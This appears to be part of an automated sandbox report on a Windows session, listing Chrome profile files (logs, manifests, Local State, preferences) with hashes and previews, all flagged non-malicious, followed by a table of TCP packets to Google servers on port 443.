Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	402
Entropy (8bit):	5.370421902180452
Encrypted:	false
SSDEEP:	6:maa7tq2PWXp+N23iKKdKks8Y5JKKhdIFUtnamhZmwBadkwOWXp+N23iKKdKks8Yx:paRva5KkkOrsFUtnaC/Bad5f5KkkOrzJ
MD5:	A26679649BAA191724AD26D435F5B99F
SHA1:	C4FC6FC0BF880E280ED5CA005ACC1C3463E1261A
SHA-256:	E21F78AEB0AD97FD12A99388D9D5BBEB86ABEA68A864D12D3D263F8A8ECA8672
SHA-512:	487D2422AFA316CBD4B1551B4F98F479CFA3119E37BE08DB33F003D1BE7E8A78A664812FE0EC465BE9F4A40238FB7077BA7998805D9ACD4E7669CE853D843F65
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:18:39.965 1720 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm/MANIFEST-000001.2021/10/25-18:18:39.967 1720 Recovering log #3.2021/10/25-18:18:39.968 1720 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm\LOG.oldjs (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	402
Entropy (8bit):	5.370421902180452
Encrypted:	false
SSDEEP:	6:maa7tq2PWXp+N23iKKdKks8Y5JKKhdIFUtnamhZmwBadkwOWXp+N23iKKdKks8Yx:paRva5KkkOrsFUtnaC/Bad5f5KkkOrzJ
MD5:	A26679649BAA191724AD26D435F5B99F
SHA1:	C4FC6FC0BF880E280ED5CA005ACC1C3463E1261A
SHA-256:	E21F78AEB0AD97FD12A99388D9D5BBEB86ABEA68A864D12D3D263F8A8ECA8672
SHA-512:	487D2422AFA316CBD4B1551B4F98F479CFA3119E37BE08DB33F003D1BE7E8A78A664812FE0EC465BE9F4A40238FB7077BA7998805D9ACD4E7669CE853D843F65
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:18:39.965 1720 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm/MANIFEST-000001.2021/10/25-18:18:39.967 1720 Recovering log #3.2021/10/25-18:18:39.968 1720 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Visited Links Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.0032209707218004476
Encrypted:	false
SSDEEP:	3:ImtVuXe6v+T/hgi:IiVuZ+Ngi
MD5:	19344495778C994B0D656F3B1914A517
SHA1:	AD6630E3A6B4A452AAE3AA7785B1D00BA706AC87
SHA-256:	DBFD5F15C0D5A37F8D9EAF522F8E260069C8A315C5C533FD514AC1798DB587DF
SHA-512:	D1E1E28712AB9B4979007A57AB9777595BDC44210D2A3CECD804E50B8FA265A7271C1E96D2D6AE64C93E61F2463F951114E68A28F2C4A364AA833079DCF5C199
Malicious:	false
Reputation:	low
Preview:	VLnk.....?......(._Ikx.<................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Rv:1qIFJ
MD5:	6752A1D65B201C13B62EA44016EB221F
SHA1:	58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B
SHA-256:	0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD
SHA-512:	9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E0389
Malicious:	false
Reputation:	low
Preview:	MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT.. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Rv:1qIFJ
MD5:	6752A1D65B201C13B62EA44016EB221F
SHA1:	58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B
SHA-256:	0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD
SHA-512:	9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E0389
Malicious:	false
Reputation:	low
Preview:	MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	136
Entropy (8bit):	4.519202906206407
Encrypted:	false
SSDEEP:	3:tUKjdEjIVFwG1Zmwv2SdEyCJ1V8tSdEZCVFJ1WGv:maajIvZZmwBay2VhaZ2tv
MD5:	20E9F8AFD8C2ED8FD4308AB01A349469
SHA1:	F49EB73B68390D479914E57ADD20E093031FC395
SHA-256:	12E3D1F020453A6A005F8A08A6D00159ACFD8B56AFB27D53608FA30FC518BECC
SHA-512:	ED904D915F0F9938A0FE4EAAD424C0795A38CD06305F3B49F7535841492FF293E83DE87DF17AE72F4638BAEB59125E3E596AC25FA8CDD7E44F751710FA7E6F6D
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:35.486 520 Recovering log #3.2021/10/25-18:17:35.999 520 Delete type=0 #3.2021/10/25-18:17:36.001 520 Delete type=3 #2.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG.old8 (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	136
Entropy (8bit):	4.519202906206407
Encrypted:	false
SSDEEP:	3:tUKjdEjIVFwG1Zmwv2SdEyCJ1V8tSdEZCVFJ1WGv:maajIvZZmwBay2VhaZ2tv
MD5:	20E9F8AFD8C2ED8FD4308AB01A349469
SHA1:	F49EB73B68390D479914E57ADD20E093031FC395
SHA-256:	12E3D1F020453A6A005F8A08A6D00159ACFD8B56AFB27D53608FA30FC518BECC
SHA-512:	ED904D915F0F9938A0FE4EAAD424C0795A38CD06305F3B49F7535841492FF293E83DE87DF17AE72F4638BAEB59125E3E596AC25FA8CDD7E44F751710FA7E6F6D
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:35.486 520 Recovering log #3.2021/10/25-18:17:35.999 520 Delete type=0 #3.2021/10/25-18:17:36.001 520 Delete type=3 #2.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000004 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	50
Entropy (8bit):	5.028758439731456
Encrypted:	false
SSDEEP:	3:Ukk/vxQRDKIVmt+8jzn:oO7t8n
MD5:	031D6D1E28FE41A9BDCBD8A21DA92DF1
SHA1:	38CEE81CB035A60A23D6E045E5D72116F2A58683
SHA-256:	B51BC53F3C43A5B800A723623C4E56A836367D6E2787C57D71184DF5D24151DA
SHA-512:	E994CD3A8EE3E3CF6304C33DF5B7D6CC8207E0C08D568925AFA9D46D42F6F1A5BDD7261F0FD1FCDF4DF1A173EF4E159EE1DE8125E54EFEE488A1220CE85AF904
Malicious:	false
Reputation:	low
Preview:	V........leveldb.BytewiseComparator...#...........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	4219
Entropy (8bit):	4.871684703914691
Encrypted:	false
SSDEEP:	48:YXsJjMH+5s7YMHBKsvxMHVzspxMHbsIHt/soBDysKqnsllzMHpDCLsWJMHLsNuMg:RG+ZGJG+GTTD7IGpD+G7Gp2GnG4GVhH
MD5:	EDC4A4E22003A711AEF67FAED28DB603
SHA1:	977E551B9ED5F60D018C030B0B4AA2E33B954556
SHA-256:	DD2C9F43F622F801FCC213CDE8E3E90EF1D0D26665AE675449A94CEC7EB1D453
SHA-512:	84D3930579FD73C7D86144D5CDC636436955BA79759273C740D2D72BC4847F2F7F165BBCA3EB2E4DFB01777D6A5F141623278C1BF74615C5A491092CE3FD1602
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248543677350473","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"13248543677350474","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31344},"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31656},"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501454993","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"13248543501454994","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":39369},"server":"https://www.googleapis.com","supports_spdy":true},

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ec88f6cb-b725-470e-8654-ef1e0102c920.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	22596
Entropy (8bit):	5.535885803495995
Encrypted:	false
SSDEEP:	384:vgjtpLl3UXR1kXqKf/pUZNCgVLH2HfD6rUAHG+nTxwI45:CLl2R1kXqKf/pUZNCgVLH2Hf+rUEG+nu
MD5:	D2545EED6609D08E1A85A99D12B9AAFA
SHA1:	B4F36404480024CF4B23067EEF9ADB6DBA09DDF7
SHA-256:	8A14A08F689FBC3D57FC69CC520E8DC2A9D9831F34C1D87856959A7117289AFB
SHA-512:	E64E1BFBE869A9B4E6A76D533461559C86362AA8BF8F2F890F857402C63FA98D8CEE5E3AF46F208EF56BAABE5F87D707E6D3E4E6FB385C08396EADFAE50D76EB
Malicious:	false
Reputation:	low
Preview:	{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13279684638762118","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.263565490193448
Encrypted:	false
SSDEEP:	6:maaiQ+q2PWXp+N23iKKdKfrzAdIFUtnahygZmwBaDlQVkwOWXp+N23iKKdKfrzId:pa+va5Kk9FUtnah3/BaC5f5Kk2J
MD5:	41F7B49DE0AB411DF36E63DCD99FDF2B
SHA1:	9534D9F1F629D887CC9C5082FA909B74848069DD
SHA-256:	35809DDF6814FE6D6F1E825627E8BF9F01FD8F1BFC703EBF7688BAA8CA744D70
SHA-512:	A5FCD8A50D177717D7CB3E90B446A138E84FFED8CD3FCC5B480CED5AA3F07A028E62ED304C6E0139892ADADD4E4143655FEA364A5615C6587DF53153A6C8C48D
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:36.602 14f8 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2021/10/25-18:17:36.604 14f8 Recovering log #3.2021/10/25-18:17:36.605 14f8 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG.old8 (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.263565490193448
Encrypted:	false
SSDEEP:	6:maaiQ+q2PWXp+N23iKKdKfrzAdIFUtnahygZmwBaDlQVkwOWXp+N23iKKdKfrzId:pa+va5Kk9FUtnah3/BaC5f5Kk2J
MD5:	41F7B49DE0AB411DF36E63DCD99FDF2B
SHA1:	9534D9F1F629D887CC9C5082FA909B74848069DD
SHA-256:	35809DDF6814FE6D6F1E825627E8BF9F01FD8F1BFC703EBF7688BAA8CA744D70
SHA-512:	A5FCD8A50D177717D7CB3E90B446A138E84FFED8CD3FCC5B480CED5AA3F07A028E62ED304C6E0139892ADADD4E4143655FEA364A5615C6587DF53153A6C8C48D
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:36.602 14f8 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2021/10/25-18:17:36.604 14f8 Recovering log #3.2021/10/25-18:17:36.605 14f8 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	106
Entropy (8bit):	3.138546519832722
Encrypted:	false
SSDEEP:	3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l
MD5:	DE9EF0C5BCC012A3A1131988DEE272D8
SHA1:	FA9CCBDC969AC9E1474FCE773234B28D50951CD8
SHA-256:	3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590
SHA-512:	CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691724
Malicious:	false
Reputation:	low
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.8150724101159437
Encrypted:	false
SSDEEP:	3:Yx7:4
MD5:	C422F72BA41F662A919ED0B70E5C3289
SHA1:	AAD27C14B27F56B6E7C744A8EC5B1A7D767D7632
SHA-256:	02E71EB4C587FEB7EE00CE8600F97411C2774C2FC34CB95B92D5538E7F30DA59
SHA-512:	86010ED2B2EEBDCC5A8A076B37703669C294C6D1BFAAEA963E26A9C94B81B4C53EC765D9425E5B616159C43923F800A891F9B903659575DF02F8845521F8DC46
Malicious:	false
Reputation:	low
Preview:	85.0.4183.121

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	177374
Entropy (8bit):	6.047568426700161
Encrypted:	false
SSDEEP:	3072:SYJVdrQb+8ktzqbVehdMai2IO8evnQ16rYOFcbXafIB0u1GOJmA3iuRl:3rd0hqhdMNnOvBraqfIlUOoSiuRl
MD5:	45734145197FE29F6445D9D41E0DC1EA
SHA1:	3F0E22199A377367D35CDA6A4F418607A653745F
SHA-256:	A196FF283DA29A2F55219E935E2D975E4795D7210D5C13F9DCF1E213F56FE65A
SHA-512:	B7D3F421C3478E809C81B6A44D3AC4A82F1ECBD7CB7CE3364350C4885B979F1EACC32FEC93A517546FAC4C3D75D8F92E425FD02744005857F395E609C2AB648D
Malicious:	false
Reputation:	low
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635211041003527e+12,"network":1.635178642e+12,"ticks":134016694.0,"uncertainty":3778021.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13276832799728044"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	177280
Entropy (8bit):	6.047297675426721
Encrypted:	false
SSDEEP:	3072:fYJVdrQb+8ktzqbVehdMai2IO8evnQ16rYOFcbXafIB0u1GOJmA3iuRl:Qrd0hqhdMNnOvBraqfIlUOoSiuRl
MD5:	80E37A304E6F0906D0027E1A50E94491
SHA1:	0EE44334B54A922A4A10EA94FEE85A85B572F538
SHA-256:	C29110020F70113EA52367EFC130A7E8ACC5EC322752748B7CDF35ACB06A9A57
SHA-512:	1162B8EF660BD94A18FB4651C9DF633248120499B3149C61844DBEDC35927CC1A20882ED0753DA03CFA718A05EE1D96F2DCCDF7CE70C626B7CFB7457B9D0F878
Malicious:	false
Reputation:	low
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.635211041003527e+12,"network":1.635178642e+12,"ticks":134016694.0,"uncertainty":3778021.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13276832799728044"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	95428
Entropy (8bit):	3.742707489473484
Encrypted:	false
SSDEEP:	384:tnelNToibAz7VU6poNJrCvNX3mpniHzeGatrYLxNxm3fj+r8dms4+oHZJxmOTD53:Na2xVKboaQeLxXboH72TKVbBJN
MD5:	7C979B3515C33C2E3F9C398C6D58B5E4
SHA1:	F03929D6C61869BDE84F63AF5F955B53FF493955
SHA-256:	574185132EB08DF6EB2280110A4833D9185A5D7B18270F13A094C696955B9E30
SHA-512:	876BF4070BB4F663BD96D3F4F315C7CC774AE16F46FE7CC8A770580D9C00D0A930C1F5F27350347C486FE88A9B1B0E512EB8F5BFEF0D5C5D70DCD2CEF044EBA2
Malicious:	false
Reputation:	low
Preview:	.t.................C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6......M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...aI8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.

Static File Info

No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2021 18:17:21.630017996 CEST	49743	443	192.168.2.3	142.250.203.109
Oct 25, 2021 18:17:21.630068064 CEST	443	49743	142.250.203.109	192.168.2.3
Oct 25, 2021 18:17:21.630160093 CEST	49743	443	192.168.2.3	142.250.203.109
Oct 25, 2021 18:17:21.630448103 CEST	49744	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:21.630559921 CEST	443	49744	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:21.630646944 CEST	49744	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:21.634896040 CEST	49743	443	192.168.2.3	142.250.203.109
Oct 25, 2021 18:17:21.634922028 CEST	443	49743	142.250.203.109	192.168.2.3
Oct 25, 2021 18:17:21.635359049 CEST	49744	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:21.635400057 CEST	443	49744	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:21.637845039 CEST	49745	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:21.637876034 CEST	443	49745	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:21.637944937 CEST	49745	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:21.639025927 CEST	49745	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:21.639053106 CEST	443	49745	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:21.639597893 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:21.639643908 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:21.639723063 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:21.640049934 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:21.640080929 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:21.686764956 CEST	443	49744	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:21.695321083 CEST	443	49745	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:21.695554972 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:21.699659109 CEST	443	49743	142.250.203.109	192.168.2.3
Oct 25, 2021 18:17:21.720906019 CEST	49744	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:21.720952988 CEST	443	49744	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:21.721366882 CEST	49745	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:21.721395016 CEST	443	49745	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:21.721621990 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:21.721651077 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:21.721682072 CEST	443	49744	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:21.721699953 CEST	443	49744	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:21.721770048 CEST	49744	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:21.721963882 CEST	443	49745	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:21.722039938 CEST	49745	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:21.722116947 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:21.722196102 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:21.722912073 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:21.722986937 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:21.723192930 CEST	443	49744	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:21.723242044 CEST	443	49745	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:21.723270893 CEST	49744	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:21.723308086 CEST	49745	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:21.731252909 CEST	49743	443	192.168.2.3	142.250.203.109
Oct 25, 2021 18:17:21.731323957 CEST	443	49743	142.250.203.109	192.168.2.3
Oct 25, 2021 18:17:21.734034061 CEST	443	49743	142.250.203.109	192.168.2.3
Oct 25, 2021 18:17:21.734061956 CEST	443	49743	142.250.203.109	192.168.2.3
Oct 25, 2021 18:17:21.734160900 CEST	49743	443	192.168.2.3	142.250.203.109
Oct 25, 2021 18:17:21.781200886 CEST	49743	443	192.168.2.3	142.250.203.109
Oct 25, 2021 18:17:22.195913076 CEST	49744	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:22.196142912 CEST	443	49744	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:22.197819948 CEST	49743	443	192.168.2.3	142.250.203.109
Oct 25, 2021 18:17:22.198002100 CEST	443	49743	142.250.203.109	192.168.2.3
Oct 25, 2021 18:17:22.198719025 CEST	49745	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:22.198870897 CEST	443	49745	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.200604916 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:22.200989962 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.201092958 CEST	49744	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:22.201118946 CEST	443	49744	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:22.202052116 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:22.202080011 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.207627058 CEST	49743	443	192.168.2.3	142.250.203.109
Oct 25, 2021 18:17:22.207665920 CEST	443	49743	142.250.203.109	192.168.2.3
Oct 25, 2021 18:17:22.231723070 CEST	443	49744	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:22.231827974 CEST	443	49744	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:22.234169006 CEST	49744	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:22.247260094 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:22.262217999 CEST	443	49743	142.250.203.109	192.168.2.3
